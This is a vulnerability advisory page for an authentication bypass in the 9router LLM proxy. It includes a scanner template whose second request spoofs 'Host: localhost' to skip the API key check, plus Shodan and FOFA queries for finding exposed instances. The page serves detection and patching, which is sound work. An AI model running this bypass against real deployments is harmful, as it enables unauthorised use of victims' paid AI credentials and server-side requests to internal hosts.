CVE-2026-55641: 9router < 0.5.2 - Authentication Bypass via Host Header Spoofing

2026-11-29 PoC Public

Description

9router before 0.5.2 decides whether a request to the /v1 LLM proxy is local by reading the client-controlled Host header in isLocalRequest (src/dashboardGuard.js). A remote unauthenticated attacker can send Host: localhost to be treated as a local client and bypass the API key check on the /v1, /v1beta, /api/v1 and /api/v1beta routes.

Details

CVE
CVE-2026-55641 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2026-55641

info:
  name: 9router < 0.5.2 - Authentication Bypass via Host Header Spoofing
  author: s4e-io
  severity: high
  description: |
    9router before 0.5.2 decides whether a request to the /v1 LLM proxy is local by reading the client-controlled Host header in isLocalRequest (src/dashboardGuard.js). A remote unauthenticated attacker can send Host: localhost to be treated as a local client and bypass the API key check on the /v1, /v1beta, /api/v1 and /api/v1beta routes.
  impact: |
    Remote unauthenticated attackers can use the exposed proxy as an open AI relay billed to the stored provider credentials, enumerate configured models, and reach /v1/search to make server-side requests to internal or cloud metadata hosts.
  remediation: |
    Upgrade 9router to version 0.5.2 or later. Bind the service to 127.0.0.1 or restrict network access to the proxy port.
  reference:
    - https://github.com/decolua/9router/security/advisories/GHSA-86m2-fcxq-5q7c
    - https://github.com/decolua/9router/commit/b282f0554972ea35281520738759d76abcd0b0b3
    - https://github.com/decolua/9router/releases/tag/v0.5.2
    - https://nvd.nist.gov/vuln/detail/CVE-2026-55641
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
    cvss-score: 8.2
    cve-id: CVE-2026-55641
    epss-score: 0.014
    epss-percentile: 0.72707
    cwe-id: CWE-290
  metadata:
    verified: true
    max-request: 2
    vendor: decolua
    product: 9router
    shodan-query: http.html:"9Router"
    fofa-query: body="9Router"
  tags: cve,cve2026,9router,auth-bypass,llm,unauth

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /v1/models HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 401'
          - 'contains(body, "API key required for remote API access")'
        condition: and
        internal: true

  - raw:
      - |
        GET /v1/models HTTP/1.1
        Host: localhost

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains_all(body, "\"object\":\"list\"", "\"owned_by\"", "\"data\"")'
        condition: and
# digest: 4b0a004830460221008e5c2fd6a43e5f854e74fb3b3aefdefb8a3e793bfdf5633c80764da99386fb8102210083a8479ca5f8dad0533a14825bdebf405e644db7a0c162ef787a03ffb075a47a:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life